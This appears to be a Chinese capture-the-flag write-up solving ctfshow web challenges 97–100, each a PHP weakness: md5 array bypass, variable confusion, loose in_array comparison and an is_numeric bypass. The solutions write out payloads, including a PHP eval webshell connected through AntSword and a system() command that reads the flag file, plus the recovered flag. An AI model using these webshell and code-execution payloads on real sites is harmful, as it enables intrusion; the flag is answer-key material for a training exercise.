0%

ctfshow web97~100

web97


要求POST传参,a不能等于b,但是a和b的md5值要相同,但是md5这个函数呢有个漏洞,传入的参数为数组的时候会发生错误,并返回NULL。

1
a[]=123&b[]=1234

web98

1
2
3
4
分析上面的代码可以看出来,只要有输入的get参数就将get方法改变为post方法(修改了get方法
的地址),而第二三行代码没啥用,我们用不到,直接看第四行,如果get参数HTTP_FLAG的值为
flag,就读取文件,也就是输出flag。所以思路就有了,我们通过get随便传一个参数并赋值,
然后我们通过post请求传HTTP_FLAG参数并赋值为flag即可获得flag。
1
2
GET:?1=1
POST:HTTP_FLAG=flag

web99

1
2
3
4
5
 array(),是空数组定义,题中定义了$allow为空数组
0x36d,其十进制为877
rand(),返回随机整数
array_push(),是向数组尾部插入新的值
file_put_contents(),写文件

因为in_array第三个参数没设置为true,所以该函数是宽松比较(==),字符串型会先转化为整型再比较,只要值相同就可以了,所以我们可以传参写木马进去.

1
2
?n=1.php
content=<?php @eval($_POST[1]);?>

然后用蚁剑连接

web100


is_numeric() 函数用于检测变量是否为数字或数字字符串,如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE。
v1一定要是个数字,v2不能有分号,v3必须有分号。

1
2
get:/?v1=1&v2=eval($_POST[1])?> %23&v3=;
post:1=system("tac ctfshow.php");
1
$flag_is_3110c36f0x2df28a0x2d4b840x2dbe0f0x2d2c4f600a4b95;

0x2d是-,换上后加上ctfshow{}就可以了